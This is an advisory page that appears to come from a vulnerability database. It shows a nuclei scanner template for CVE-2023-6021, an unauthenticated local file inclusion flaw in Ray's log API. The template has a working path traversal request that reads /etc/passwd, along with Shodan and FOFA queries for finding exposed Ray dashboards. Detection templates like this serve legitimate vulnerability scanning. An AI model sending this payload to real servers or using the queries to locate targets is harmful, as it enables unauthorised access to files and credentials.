Lucene search
K

Ray API - Local File Inclusion

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 68 Views

Ray API LFI allows reading any server file without authenticatio

Related
Refs
Code
id: CVE-2023-6021

info:
  name: Ray API - Local File Inclusion
  author: byt3bl33d3r
  severity: high
  description: |
    LFI in Ray's log API endpoint allows attackers to read any file on the server without authentication.
  impact: |
    Unauthenticated attackers can read any file on the server via the log API endpoint, potentially accessing sensitive configuration files, credentials, and application data.
  remediation: |
    Update Ray to a patched version that properly validates file paths in the logs endpoint.
  reference:
    - https://huntr.com/bounties/5039c045-f986-4cbc-81ac-370fe4b0d3f8/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6021
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6021
    cwe-id: CWE-22,CWE-29
    epss-score: 0.37076
    epss-percentile: 0.98328
    cpe: cpe:2.3:a:ray_project:ray:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ray_project
    product: ray
    shodan-query:
      - html:"Ray Dashboard"
      - http.favicon.hash:463802404
      - http.html:"ray dashboard"
    fofa-query:
      - body="ray dashboard"
      - icon_hash=463802404
  tags: cve,cve2023,lfi,ray,oos,ray_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nodes?view=summary"
      - "{{BaseURL}}/api/v0/logs/file?node_id={{nodeid}}&filename=../../../../../etc%2fpasswd&lines=50000"

    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_2
        words:
          - "text/plain"
          - "aiohttp"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        internal: true
        name: nodeid
        json:
          - '..|objects|.nodeId//empty[0]'
# digest: 4a0a00473045022100cec1f19f73e5e4b7d4086a749bfaec5cd24557df4007015a28fce981e153693402200552b50d78461117645d6a5c7a3150bd6079d830f18ca98a8f8c9cfc8ebe2124:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.5
EPSS0.37076
SSVC
68